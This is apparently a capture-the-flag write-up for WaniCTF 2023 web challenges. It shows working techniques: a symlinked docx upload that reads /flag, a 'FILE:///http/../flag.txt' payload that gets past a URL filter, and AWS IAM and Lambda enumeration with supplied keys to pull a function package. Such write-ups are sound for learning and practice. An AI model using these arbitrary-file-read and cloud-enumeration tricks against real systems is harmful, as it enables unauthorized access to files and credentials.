WaniCTF 2023 | Writeup for Web Challenges

Writeup for solved Web challenges in WaniCTF 2023

WaniCTF 2023 | Writeup for Web Challenges

Web

IndexedDB

IndexedDB Challenge Question

This is an easy question, after you visit the webpage you see this

Simply open DevTools and look at the IndexedDB values and we have the flag

DevTools easy flag

Flag: FLAG{y0u_c4n_u3e_db_1n_br0wser}

Extract Service 1

`Extract Service 1` Challenge Question

Trying out with the given sample word document file and looking at the post request

Sample post request

There is a file and a target parameter. The target parameter seems to be the extracted xml file from the word document. We know that the flag is in /flag, if only there was a way to read the flag file from another directory. Cue symlinks in zip files.

touch /flag  
mkdir word && cd word
ln -s /flag document.xml
zip -y test.docx word/ -r
Creating the symlinked file to /flag

Upload the file, after the docx has been extracted as zip, the document.xml which is a symlink to /flag will be read instead and we get the flag.

Flag: FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}

Extract Service 2

Extract Service 2 Challenge Question

The source code changes can be seen below where the target is checked to ensure they are not modified. Our solution still works as we use symlinks and we did not modify the target parameter

if targetParam == "docx" {
	extractTarget = "word/document.xml"
} else if targetParam == "xlsx" {
	extractTarget = "xl/sharedStrings.xml"
} else if targetParam == "pptx" {
	extractTarget = "ppt/slides/slide1.xml"
} else {
	c.HTML(http.StatusOK, "index.html", gin.H{
		"result": "Error : target is invalid",
	})
	return
}

Flag: FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}

Advertisement
Advertisement

64bps

64bps Challenge Question

Looking at the nginx.conf file, we are rate limted to 8 bytes per second.

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

    server {
        listen       80;
        listen  [::]:80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }
    }
}

From the dockerfile, we see that a 2GB file is generated and the flag simply appended at the end.

FROM nginx:1.23.3-alpine-slim

COPY nginx.conf /etc/nginx/nginx.conf
COPY flag.txt /usr/share/nginx/html/flag.txt

RUN cd /usr/share/nginx/html && \
    dd if=/dev/random of=2gb.txt bs=1M count=2048 && \
    cat flag.txt >> 2gb.txt && \
    rm flag.txt

With HTTP GET requests, we can use the Range header to get partial content. Making a request for the last 64 Bytes, we get the flag.

curl https://64bps-web.wanictf.org/2gb.txt  -i -H "Range: bytes=-64"    

Flag: FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

screenshot

screenshot Challenge Question

Seems like we need to try and get a screenshot of the flag in /flag.txt

However there seems to be an unintended solution in the following snippet

if (!req.query.url.includes("http") || req.query.url.includes("file")) {
    res.status(400).send("Bad Request");
    return;
}

It checks if the url includes http but not the file protocol.
However we can bypass that as chromium is not case sensitive and typical file tricks works (it does not matter that the http folder does not exists as we go back up one level with ../).

FILE:///http/../flag.txt
Payload url to use to get the flag screenshot

Flag: FLAG{beware_of_parameter_type_confusion!}

Lambda

Lambda Challenge Question

Downloading the files, we have the Access key ID, Secret access key and the Region. After configuring the awscli with aws configure. We can check the attached user policies with aws iam list-attached-user-policies

Advertisement
Advertisement

To get the actual policy document we need to check the current version first with aws iam get-policy --policy-arn using the WaniLambdaGetFunc ARN from the previous command. For this case the policy document is v1 , we can then get the actual policy document stating what we can or cannot do for the policy.

Using aws iam get-policy-version with the arn and version flags

aws iam get-policy-version

We are allowed to use aws lambda get-function on wani_function, this allows us to get the deployment package used for the function

After downloading and extracting the contents. WaniCTF_Lambda.runtimeconfig.json tells us that the function is a Net Core 6 application

{
  "runtimeOptions": {
    "tfm": "net6.0",
    "framework": {
      "name": "Microsoft.NETCore.App",
      "version": "6.0.0"
    },
    "configProperties": {
      "System.Reflection.Metadata.MetadataUpdater.IsSupported": false
    }
  }
}

We can then use a Free .Net Decompiler like DotPeek to view the files, specifically WaniCTF_Lambda.dll

Source Code in DotPeek

We can see the expected username and password to view the flag, but we do not need to try as we have the actual flag itself.

Flag: FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}